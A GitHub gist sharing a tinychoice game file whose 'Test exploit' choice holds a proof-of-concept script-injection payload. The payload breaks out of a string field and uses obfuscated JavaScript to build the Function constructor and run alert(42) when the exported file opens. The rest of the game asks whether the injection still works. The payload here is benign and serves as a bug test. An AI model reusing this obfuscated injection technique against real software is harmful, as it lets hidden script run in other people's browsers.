Skip to content

Instantly share code, notes, and snippets.

@jeremyredhead
Created June 23, 2022 11:23
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save jeremyredhead/af51510ced871bc7a420f3792b59bf52 to your computer and use it in GitHub Desktop.
Save jeremyredhead/af51510ced871bc7a420f3792b59bf52 to your computer and use it in GitHub Desktop.
tinychoice game
A game made with tinychoice.org. Just go there and paste it in to try it out :)
{"START":[["I think I discovered an exploitable bug, hehe..."],[""],["Test exploit","TEST',_=![]+[],Y=!![]+[],U=[][[]]+[],T=Y[0],F=[]+[][_[0]+_[2]+_[1]+T],C=F[3],O=F[6],R=Y[1],([][_[1]+T])[C+O+U[1]+_[3]+T+R+U[0]+C+T+O+R](F[11]+F[10]+Y[3]+R+T+F[13]+42+F[14])(),'"],[""]],"__STARTSECTION__":"START","TEST":[["Did the number \"42\" pop up in a box just now?"],[""],["Yes","BUGGY"],["No","FIXED"],[""]],"BUGGY":[["The bug is still exploitable >:3"]],"FIXED":[["The bug has sadly likely been fixed :["],[""]]}
Paste into tinychoice.net, save to disk & open the file:
=START=
I think I discovered an exploitable bug, hehe...
Test exploit -> TEST',_=![]+[],Y=!![]+[],U=[][[]]+[],T=Y[0],F=[]+[][_[0]+_[2]+_[1]+T],C=F[3],O=F[6],R=Y[1],([][_[1]+T])[C+O+U[1]+_[3]+T+R+U[0]+C+T+O+R](F[11]+F[10]+Y[3]+R+T+F[13]+42+F[14])(),'
=TEST=
Did the number "42" pop up in a box just now?
Yes -> BUGGY
No -> FIXED
=BUGGY=
The bug is still exploitable >:3
=FIXED=
The bug has sadly likely been fixed :[
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment